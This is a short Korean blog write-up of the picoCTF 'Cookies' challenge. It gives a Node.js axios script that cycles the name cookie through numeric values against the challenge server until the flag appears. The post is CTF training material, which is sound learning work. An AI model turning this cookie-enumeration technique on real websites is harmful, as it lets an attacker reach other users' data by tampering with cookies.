본문 바로가기
pico CTF

[pico CTF] Cookies

by skyepodium 2022. 6. 4.

1. 개요

쿠키 문제

 

2. 분석

쿠기의 값을 변경할때 마다 문구가 변경됩니다.

 

 

3. exploit

18번째에 있었습니다.

const axios = require('axios')

const getFlag = async (name) => {
    const headers = {
        'Cookie': `name=${name}`
    }

    try {
        const result = await axios.get('http://mercury.picoctf.net:54219/check', { headers })
        return result.data
    } catch (e) {
        return e
    }
}

const main = async () => {
    for (let i = 0; i < 30; i++) {
        console.log('i', i)
        const cookie = await getFlag(i)
        if (cookie.includes('picoCTF{')) {
            const flag = /(picoCTF{[a-zA-Z0-9_]+})/.exec(cookie)[0]
            console.log('flag', flag)
            break
        }
    }
}

main()

 

'pico CTF' 카테고리의 다른 글

[pico CTF] Client-side-again  (0) 2022.06.04
[pico CTF] Search source  (0) 2022.06.04
[pico CTF] login  (0) 2022.06.04
[pico CTF] Who are you?  (0) 2022.06.04
[pico CTF] GET aHEAD  (0) 2022.06.04